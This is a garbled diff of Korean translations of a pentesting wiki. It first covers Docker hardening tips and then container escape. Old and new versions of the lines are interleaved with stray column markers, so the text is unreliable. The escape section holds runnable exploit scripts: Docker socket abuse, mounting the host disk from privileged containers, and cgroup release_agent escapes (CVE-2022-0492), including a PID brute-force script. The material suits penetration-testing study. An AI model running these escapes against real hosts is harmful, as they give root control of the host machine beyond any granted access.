2. 명령에 접두사를 붙여: `DOCKER_BUILDKIT=1 docker build .`
|
||||
3. Docker 구성에서 기본적으로 활성화: `{ "features": { "buildkit": true } }`, 이후 Docker 재시작.
|
||||
|
||||
BuildKit은 `--secret` 옵션을 사용하여 빌드 시간 비밀을 사용할 수 있도록 하며, 이러한 비밀이 이미지 빌드 캐시나 최종 이미지에 포함되지 않도록 보장합니다.
|
||||
```bash
|
||||
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
|
||||
```
|
||||
실행 중인 컨테이너에서 필요한 비밀 정보의 경우, **Docker Compose와 Kubernetes**는 견고한 솔루션을 제공합니다. Docker Compose는 시크릿 파일을 지정하기 위해 서비스 정의에서 `secrets` 키를 활용하며, 이는 `docker-compose.yml` 예시에서 확인할 수 있습니다:
|
||||
실행 중인 컨테이너에서 필요한 비밀 정보의 경우, **Docker Compose와 Kubernetes**은 견고한 솔루션을 제공합니다. Docker Compose는 비밀 파일을 지정하기 위해 서비스 정의에서 `secrets` 키를 활용하며, 이는 `docker-compose.yml` 예시에서 확인할 수 있습니다:
|
||||
```yaml
|
||||
version: "3.7"
|
||||
services:
|
||||
|
@ -337,9 +335,9 @@ secrets:
|
|||
my_secret:
|
||||
file: ./my_secret_file.txt
|
||||
```
|
||||
이 구성은 Docker Compose를 사용하여 서비스를 시작할 때 비밀을 사용할 수 있도록합니다.
|
||||
이 구성은 Docker Compose를 사용하여 서비스를 시작할 때 비밀을 사용할 수 있도록 합니다.
|
||||
|
||||
Kubernetes 환경에서는 비밀이 네이티브로 지원되며 [Helm-Secrets](https://github.com/futuresimple/helm-secrets)와 같은 도구로 더욱 효율적으로 관리할 수 있습니다. Kubernetes의 Role Based Access Controls (RBAC)는 Docker Enterprise와 유사하게 비밀 관리 보안을 강화합니다.
|
||||
Kubernetes 환경에서는 비밀이 네이티브로 지원되며 [Helm-Secrets](https://github.com/futuresimple/helm-secrets)와 같은 도구로 더욱 효과적으로 관리할 수 있습니다. Kubernetes의 Role Based Access Controls (RBAC)는 Docker Enterprise와 유사하게 비밀 관리 보안을 강화합니다.
|
||||
|
||||
### gVisor
|
||||
|
||||
|
@ -355,25 +353,25 @@ Kubernetes 환경에서는 비밀이 네이티브로 지원되며 [Helm-Secrets]
|
|||
|
||||
### 요약 팁
|
||||
|
||||
* **`--privileged` 플래그를 사용하지 않거나** [**컨테이너 내부에 Docker 소켓을 마운트하지 마십시오**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker 소켓을 사용하면 컨테이너를 생성할 수 있으므로, 예를 들어 `--privileged` 플래그를 사용하여 다른 컨테이너를 실행하는 등 호스트를 완전히 제어할 수 있습니다.
|
||||
* **컨테이너 내부에서 root로 실행하지 마십시오.** [**다른 사용자**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **및** [**사용자 네임스페이스**](https://docs.docker.com/engine/security/userns-remap/)**를 사용하십시오.** 컨테이너 내의 root는 사용자 네임스페이스로 재매핑되지 않는 한 호스트와 동일합니다. 주로 Linux 네임스페이스, 기능 및 cgroups에 의해 약간 제한됩니다.
|
||||
* [**모든 기능을 삭제하십시오**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) 및 필요한 것만 활성화하십시오** (`--cap-add=...`). 많은 워크로드는 어떤 기능도 필요로하지 않으며, 이를 추가하면 잠재적인 공격 범위가 증가합니다.
|
||||
* [**“no-new-privileges” 보안 옵션을 사용하여**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **프로세스가 더 많은 권한을 얻는 것을 방지하십시오.** 예를 들어 suid 이진 파일을 통해 권한을 더 얻는 것을 방지합니다.
|
||||
* **컨테이너에 사용 가능한 자원을 제한하십시오.** 자원 제한은 머신을 서비스 거부 공격으로부터 보호할 수 있습니다.
|
||||
* **[seccomp](https://docs.docker.com/engine/security/seccomp/)**, **[AppArmor](https://docs.docker.com/engine/security/apparmor/)** **(또는 SELinux)** 프로필을 조정하여 컨테이너에서 사용 가능한 작업 및 시스템 호출을 최소한으로 제한하십시오.
|
||||
* **[공식 Docker 이미지](https://docs.docker.com/docker-hub/official\_images/)를 사용하고 서명을 요구하거나 해당 이미지를 기반으로 직접 빌드하십시오.** 백도어가 있는 이미지를 상속하거나 사용하지 마십시오. 또한 루트 키, 암호를 안전한 위치에 저장하십시오. Docker는 UCP를 사용하여 키를 관리할 계획입니다.
|
||||
* **이미지를 정기적으로 다시 빌드하여** 호스트 및 이미지에 보안 패치를 적용하십시오.
|
||||
* **비밀을 현명하게 관리하여** 공격자가 액세스하기 어렵도록 하십시오.
|
||||
* **도커 데몬을 노출하는 경우 HTTPS를 사용**하여 클라이언트 및 서버 인증을 수행하십시오.
|
||||
* **Dockerfile에서는 ADD 대신 COPY를 선호하십시오.** ADD는 자동으로 압축 해제된 파일을 복사하고 URL에서 파일을 복사할 수 있습니다. COPY는 이러한 기능을 갖고 있지 않습니다. 가능한 경우 ADD 사용을 피하여 원격 URL 및 Zip 파일을 통한 공격에 취약하지 않도록 하십시오.
|
||||
* **각 마이크로 서비스에 대해 별도의 컨테이너를 사용하십시오.**
|
||||
* **컨테이너 이미지를 더 작게 유지하십시오.**
|
||||
다른 방법으로 HackTricks를 지원할 수 있습니다:
|
||||
* **`--privileged` 플래그를 사용하지 않거나** [**컨테이너 내부에 Docker 소켓을 마운트하지 마세요**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker 소켓을 통해 컨테이너를 생성할 수 있으므로, 예를 들어 `--privileged` 플래그를 사용하여 다른 컨테이너를 실행하여 호스트를 완전히 제어하는 것이 쉽습니다.
|
||||
* **컨테이너 내부에서 root로 실행하지 마세요.** [**다른 사용자**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **와** [**사용자 네임스페이스**](https://docs.docker.com/engine/security/userns-remap/) **를 사용하세요.** 컨테이너 내의 root는 사용자 네임스페이스로 재매핑되지 않는 한 호스트와 동일합니다. 주로 Linux 네임스페이스, 기능 및 cgroups에 의해 약간 제한됩니다.
|
||||
* [**모든 기능을 삭제하고**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **필요한 것만 활성화하세요** (`--cap-add=...`). 많은 워크로드는 어떤 기능도 필요로 하지 않으며, 추가하면 잠재적인 공격 범위가 증가합니다.
|
||||
* [**“no-new-privileges” 보안 옵션을 사용하여**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **프로세스가 더 많은 권한을 얻는 것을 방지하세요.** 예를 들어 suid 이진 파일을 통해.
|
||||
* [**컨테이너에 사용 가능한 리소스를 제한하세요**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** 리소스 제한은 머신을 서비스 거부 공격으로부터 보호할 수 있습니다.
|
||||
* **[seccomp](https://docs.docker.com/engine/security/seccomp/)**, **[AppArmor](https://docs.docker.com/engine/security/apparmor/)** **(또는 SELinux)** 프로필을 조정하여 컨테이너에서 사용 가능한 작업 및 시스템 호출을 최소한으로 제한하세요.
|
||||
* **[공식 Docker 이미지](https://docs.docker.com/docker-hub/official\_images/)를 사용하고 서명을 요구하거나 해당 이미지를 기반으로 직접 빌드하세요.** 백도어가 있는 이미지를 상속하거나 사용하지 마세요. 또한 루트 키, 암호를 안전한 위치에 저장하세요. Docker는 UCP를 사용하여 키를 관리할 계획입니다.
|
||||
* **이미지를 정기적으로 다시 빌드하여 호스트 및 이미지에 보안 패치를 적용하세요.**
|
||||
* **비밀을 현명하게 관리하여 공격자가 액세스하기 어렵게 만드세요.**
|
||||
* Docker 데몬을 노출하는 경우 HTTPS를 사용하여 클라이언트 및 서버 인증을 수행하세요.
|
||||
* Dockerfile에서 **ADD 대신 COPY를 선호하세요.** ADD는 자동으로 압축 해제하고 URL에서 파일을 복사할 수 있습니다. COPY는 이러한 기능이 없습니다. 가능한 경우 ADD 사용을 피하여 원격 URL 및 Zip 파일을 통한 공격에 취약하지 않도록 하세요.
|
||||
* **각 마이크로 서비스에 대해 별도의 컨테이너를 사용하세요.**
|
||||
* **컨테이너 이미지를 더 작게 유지하세요.**
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하고 싶다면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 기여하세요.**
|
||||
|
|
|
@ -2,44 +2,44 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 **세계에서 가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## 자동 열거 및 탈출
|
||||
|
||||
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): 컨테이너를 **열거**할 수도 있습니다.
|
||||
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): 이 도구는 현재 있는 컨테이너를 **열거**하는 데 매우 **유용**하며 자동으로 탈출을 시도할 수도 있습니다.
|
||||
* [**amicontained**](https://github.com/genuinetools/amicontained): 컨테이너가 가진 권한을 확인하는 데 유용한 도구로, 탈출 방법을 찾을 수 있습니다.
|
||||
* [**deepce**](https://github.com/stealthcopter/deepce): 컨테이너를 열거하고 탈출하기 위한 도구입니다.
|
||||
* [**grype**](https://github.com/anchore/grype): 이미지에 설치된 소프트웨어에 포함된 CVE를 가져옵니다.
|
||||
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): **컨테이너를 열거**할 수도 있습니다
|
||||
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): 이 도구는 **현재 있는 컨테이너를 열거하고 자동으로 탈출을 시도하는 데 유용**합니다
|
||||
* [**amicontained**](https://github.com/genuinetools/amicontained): 컨테이너가 가진 권한을 얻어 탈출 방법을 찾는 데 유용한 도구
|
||||
* [**deepce**](https://github.com/stealthcopter/deepce): 컨테이너에서 열거하고 탈출하는 도구
|
||||
* [**grype**](https://github.com/anchore/grype): 이미지에 설치된 소프트웨어의 CVE 가져오기
|
||||
|
||||
## 마운트된 Docker 소켓 탈출
|
||||
## 마운트된 도커 소켓 탈출
|
||||
|
||||
만약 **Docker 소켓이 컨테이너 내에 마운트**되어 있는 것을 발견한다면, 이를 통해 탈출할 수 있습니다.\
|
||||
이는 일부 이유로 인해 도커 컨테이너가 도커 데몬에 연결하여 작업을 수행해야 하는 경우에 주로 발생합니다.
|
||||
만약 **도커 소켓이 도커 컨테이너 내에 마운트**되어 있는 것을 발견하면 탈출할 수 있습니다.\
|
||||
이는 일반적으로 도커 컨테이너에서 도커 데몬에 연결하여 작업을 수행해야 하는 경우에 발생합니다.
|
||||
```bash
|
||||
#Search the socket
|
||||
find / -name docker.sock 2>/dev/null
|
||||
#It's usually in /run/docker.sock
|
||||
```
|
||||
이 경우에는 일반적인 도커 명령을 사용하여 도커 데몬과 통신할 수 있습니다:
|
||||
이 경우 일반적인 도커 명령을 사용하여 도커 데몬과 통신할 수 있습니다:
|
||||
```bash
|
||||
#List images to use one
|
||||
docker images
|
||||
|
@ -54,13 +54,13 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
|||
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
|
||||
```
|
||||
{% hint style="info" %}
|
||||
만약 **도커 소켓이 예상치 못한 위치에 있다면**, **`docker`** 명령어를 사용하여 **`-H unix:///path/to/docker.sock`** 매개변수와 함께 통신할 수 있습니다.
|
||||
만약 **도커 소켓이 예상치 못한 위치에** 있다면, **`docker`** 명령어를 사용하여 **`-H unix:///path/to/docker.sock`** 매개변수를 추가하여 통신할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
Docker 데몬은 또한 [기본적으로 2375, 2376 포트에서 수신 대기](../../../../network-services-pentesting/2375-pentesting-docker.md)하거나 Systemd 기반 시스템에서는 Docker 데몬과의 통신이 Systemd 소켓 `fd://`을 통해 발생할 수 있습니다.
|
||||
도커 데몬은 또한 [포트에서 (기본값 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) 수신할 수 있으며, Systemd 기반 시스템에서는 Docker 데몬과의 통신이 Systemd 소켓 `fd://`을 통해 발생할 수 있습니다.
|
||||
|
||||
{% hint style="info" %}
|
||||
또한, 다른 고수준 런타임의 런타임 소켓에 주의해야 합니다:
|
||||
추가로, 다른 고수준 런타임의 런타임 소켓에 주의를 기울여야 합니다:
|
||||
|
||||
* dockershim: `unix:///var/run/dockershim.sock`
|
||||
* containerd: `unix:///run/containerd/containerd.sock`
|
||||
|
@ -70,35 +70,29 @@ Docker 데몬은 또한 [기본적으로 2375, 2376 포트에서 수신 대기](
|
|||
* ...
|
||||
{% endhint %}
|
||||
|
||||
## 권한 남용 탈출
|
||||
## Capabilities 남용 탈출
|
||||
|
||||
컨테이너의 권한을 확인해야 합니다. 다음 중 하나 이상의 권한이 있는 경우, 해당 컨테이너에서 탈출할 수 있을 수 있습니다: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
컨테이너의 권한을 확인해야 합니다. 다음 중 하나라도 해당된다면 컨테이너에서 탈출할 수 있을 수 있습니다: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
|
||||
현재 컨테이너의 권한은 **이전에 언급한 자동 도구**를 사용하거나 다음과 같이 확인할 수 있습니다:
|
||||
현재 컨테이너 권한을 확인하려면 **이전에 언급된 자동 도구**를 사용하거나 다음을 사용할 수 있습니다:
|
||||
```bash
|
||||
capsh --print
|
||||
```
|
||||
다음 페이지에서는 **리눅스 기능에 대해 자세히 알아볼 수 있으며**, 이를 악용하여 권한을 탈출/승격하는 방법을 배울 수 있습니다:
|
||||
## 특권 컨테이너 탈출
|
||||
|
||||
{% content-ref url="../../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../../linux-capabilities.md)
|
||||
{% endcontent-ref %}
|
||||
특권 컨테이너는 다음과 같은 플래그를 사용하여 생성할 수 있습니다: `--privileged` 또는 특정 방어 기능을 비활성화하는 방법:
|
||||
|
||||
## 특권 컨테이너에서의 탈출
|
||||
- `--cap-add=ALL`
|
||||
- `--security-opt apparmor=unconfined`
|
||||
- `--security-opt seccomp=unconfined`
|
||||
- `--security-opt label:disable`
|
||||
- `--pid=host`
|
||||
- `--userns=host`
|
||||
- `--uts=host`
|
||||
- `--cgroupns=host`
|
||||
- `/dev`를 마운트
|
||||
|
||||
특권 컨테이너는 다음과 같은 플래그를 사용하여 생성할 수 있습니다: `--privileged` 또는 특정 방어 기능을 비활성화하는 것입니다:
|
||||
|
||||
* `--cap-add=ALL`
|
||||
* `--security-opt apparmor=unconfined`
|
||||
* `--security-opt seccomp=unconfined`
|
||||
* `--security-opt label:disable`
|
||||
* `--pid=host`
|
||||
* `--userns=host`
|
||||
* `--uts=host`
|
||||
* `--cgroupns=host`
|
||||
* `Mount /dev`
|
||||
|
||||
`--privileged` 플래그는 컨테이너 보안을 크게 낮추어 **제한 없는 장치 액세스**를 제공하고 **여러 가지 보호 기능을 우회**합니다. 자세한 내용은 `--privileged`의 전체 영향에 대한 문서를 참조하십시오.
|
||||
`--privileged` 플래그는 컨테이너 보안을 크게 낮추며 **제한 없는 장치 액세스**를 제공하고 **여러 보호 기능을 우회**합니다. 자세한 내용은 `--privileged`의 전체 영향에 대한 문서를 참조하십시오.
|
||||
|
||||
{% content-ref url="../docker-privileged.md" %}
|
||||
[docker-privileged.md](../docker-privileged.md)
|
||||
|
@ -106,23 +100,23 @@ capsh --print
|
|||
|
||||
### 특권 + hostPID
|
||||
|
||||
이러한 권한을 사용하면 단순히 `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`를 실행하여 호스트에서 root로 실행 중인 프로세스의 네임스페이스로 이동할 수 있습니다. 예를 들어 init (pid:1)입니다.
|
||||
이러한 권한을 사용하면 단순히 호스트에서 루트로 실행 중인 init (pid:1)와 같은 프로세스의 네임스페이스로 이동할 수 있습니다. 다음을 실행하여 테스트할 수 있습니다: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
|
||||
컨테이너에서 테스트해보세요.
|
||||
컨테이너에서 실행하여 테스트해보세요:
|
||||
```bash
|
||||
docker run --rm -it --pid=host --privileged ubuntu bash
|
||||
```
|
||||
### 특권
|
||||
|
||||
특권 플래그만으로 호스트의 디스크에 접근하거나 release\_agent나 다른 탈출 방법을 악용하여 탈출을 시도할 수 있습니다.
|
||||
특권 플래그만으로 호스트의 디스크에 액세스하거나 release\_agent를 남용하여 탈출을 시도할 수 있습니다.
|
||||
|
||||
다음 우회 방법을 컨테이너에서 실행하여 테스트해보세요:
|
||||
컨테이너에서 다음 우회 방법을 시험해보세요:
|
||||
```bash
|
||||
docker run --rm -it --privileged ubuntu bash
|
||||
```
|
||||
#### 디스크 마운트 - Poc1
|
||||
|
||||
잘 구성된 도커 컨테이너는 **fdisk -l**과 같은 명령을 허용하지 않습니다. 그러나 잘못 구성된 도커 명령에서 `--privileged` 또는 `--device=/dev/sda1`과 같은 플래그와 함께 캡스가 지정된 경우 호스트 드라이브를 볼 수 있는 권한을 얻을 수 있습니다.
|
||||
잘 구성된 도커 컨테이너는 **fdisk -l**과 같은 명령을 허용하지 않을 것입니다. 그러나 잘못 구성된 도커 명령어에서 `--privileged` 또는 `--device=/dev/sda1`와 같은 플래그가 지정된 경우, 호스트 드라이브를 볼 수 있는 권한을 얻을 수 있습니다.
|
||||
|
||||
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
|
||||
|
||||
|
@ -131,11 +125,11 @@ docker run --rm -it --privileged ubuntu bash
|
|||
mkdir -p /mnt/hola
|
||||
mount /dev/sda1 /mnt/hola
|
||||
```
|
||||
그리고 보세요! 이제 호스트의 파일 시스템에 액세스할 수 있습니다. 왜냐하면 `/mnt/hola` 폴더에 마운트되었기 때문입니다.
|
||||
그리고 완성! 호스트 파일 시스템에 액세스할 수 있습니다. 왜냐하면 `/mnt/hola` 폴더에 마운트되어 있기 때문입니다.
|
||||
|
||||
#### 디스크 마운트 - Poc2
|
||||
|
||||
컨테이너 내에서 공격자는 클러스터에 의해 생성된 쓰기 가능한 hostPath 볼륨을 통해 기본 호스트 운영 체제에 대한 추가 액세스를 시도할 수 있습니다. 아래는 컨테이너 내에서 이 공격자 벡터를 활용할 수 있는 몇 가지 일반적인 확인 사항입니다:
|
||||
컨테이너 내에서 공격자는 클러스터에 의해 생성된 쓰기 가능한 hostPath 볼륨을 통해 기존 호스트 OS에 대한 추가 액세스를 시도할 수 있습니다. 아래는 컨테이너 내에서 이 공격자 벡터를 활용할 수 있는지 확인할 수 있는 몇 가지 일반적인 사항입니다:
|
||||
```bash
|
||||
### Check if You Can Write to a File-system
|
||||
echo 1 > /proc/sysrq-trigger
|
||||
|
@ -156,7 +150,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
|
|||
### debugfs (Interactive File System Debugger)
|
||||
debugfs /dev/sda1
|
||||
```
|
||||
#### Privileged Escape Abusing existent release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
|
||||
#### Privileged Escape 기존 release\_agent 악용 ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
|
||||
|
||||
{% code title="초기 PoC" %}
|
||||
```bash
|
||||
|
@ -192,11 +186,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
|
|||
# Reads the output
|
||||
cat /o
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Privileged Escape Abusing created release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||||
|
||||
{% code title="두 번째 PoC" %}
|
||||
#### 생성된 release_agent를 악용한 특권 탈출 ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||||
```bash
|
||||
# On the host
|
||||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
||||
|
@ -240,7 +230,7 @@ cat /output
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
기술에 대한 **설명을 찾으십시오**:
|
||||
**기법에 대한 설명**은 다음에서 찾을 수 있습니다:
|
||||
|
||||
{% content-ref url="docker-release_agent-cgroups-escape.md" %}
|
||||
[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md)
|
||||
|
@ -248,7 +238,7 @@ cat /output
|
|||
|
||||
#### 알려진 상대 경로 없이 release\_agent를 악용한 특권 탈출 - PoC3
|
||||
|
||||
이전의 공격에서는 호스트 파일 시스템 내 컨테이너의 **절대 경로가 공개**되었습니다. 그러나 항상 그런 것은 아닙니다. 호스트 내 컨테이너의 **절대 경로를 모르는 경우** 이 기술을 사용할 수 있습니다:
|
||||
이전 공격에서는 **호스트 파일 시스템 내 컨테이너의 절대 경로가 노출**되었습니다. 그러나 항상 그런 것은 아닙니다. 호스트 내부의 컨테이너의 **절대 경로를 모르는 경우** 이 기술을 사용할 수 있습니다:
|
||||
|
||||
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
|
||||
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
|
||||
|
@ -312,7 +302,7 @@ sleep 1
|
|||
echo "Done! Output:"
|
||||
cat ${OUTPUT_PATH}
|
||||
```
|
||||
특권이 부여된 컨테이너 내에서 PoC를 실행하면 다음과 유사한 출력이 제공됩니다:
|
||||
특권이 부여된 컨테이너 내에서 PoC를 실행하면 다음과 유사한 출력이 제공되어야 합니다:
|
||||
```bash
|
||||
root@container:~$ ./release_agent_pid_brute.sh
|
||||
Checking pid 100
|
||||
|
@ -340,18 +330,18 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
|||
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||||
...
|
||||
```
|
||||
#### 민감한 마운트를 악용한 특권 탈출
|
||||
#### 권한 상승을 이용한 민감한 마운트 남용
|
||||
|
||||
**기본 호스트에 대한 정보를 제공하는 여러 파일**이 마운트될 수 있습니다. 이 중 일부는 **호스트에서 어떤 일이 발생할 때 실행되어야 하는 내용을 나타낼 수도 있습니다** (이를 통해 공격자가 컨테이너를 탈출할 수 있게 됩니다).\
|
||||
이러한 파일들의 남용으로 인해 다음과 같은 일이 발생할 수 있습니다:
|
||||
**기본 호스트에 대한 정보를 제공하는 여러 파일이 마운트**될 수 있습니다. 이 중 일부는 호스트에서 **어떤 일이 발생할 때 실행되어야 하는 내용을 나타낼 수도** 있습니다 (공격자가 컨테이너를 탈출할 수 있게 합니다).\
|
||||
이러한 파일들의 남용으로 다음이 가능할 수 있습니다:
|
||||
|
||||
* release\_agent (이전에 다루었습니다)
|
||||
* release\_agent (이미 이전에 다룸)
|
||||
* [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
|
||||
* [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern)
|
||||
* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
|
||||
* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
|
||||
|
||||
그러나 이 페이지에서 확인할 수 있는 **다른 민감한 파일**도 찾을 수 있습니다:
|
||||
그러나 이 페이지에서 **다른 민감한 파일**을 확인할 수 있습니다:
|
||||
|
||||
{% content-ref url="sensitive-mounts.md" %}
|
||||
[sensitive-mounts.md](sensitive-mounts.md)
|
||||
|
@ -359,14 +349,14 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
|||
|
||||
### 임의의 마운트
|
||||
|
||||
여러 경우에 컨테이너에는 **호스트로부터 볼륨이 마운트**되어 있을 수 있습니다. 이 볼륨이 올바르게 구성되지 않았다면 **민감한 데이터에 접근/수정**할 수 있을 수도 있습니다: 비밀 정보 읽기, ssh authorized\_keys 변경하기 등
|
||||
여러 경우에 **컨테이너에 호스트로부터의 볼륨이 마운트**된 것을 발견할 수 있습니다. 이 볼륨이 올바르게 구성되지 않았다면 **민감한 데이터에 액세스/수정**할 수 있을 수 있습니다: 비밀 정보 읽기, ssh authorized\_keys 변경...
|
||||
```bash
|
||||
docker run --rm -it -v /:/host ubuntu bash
|
||||
```
|
||||
### 2개의 쉘과 호스트 마운트를 이용한 권한 상승
|
||||
|
||||
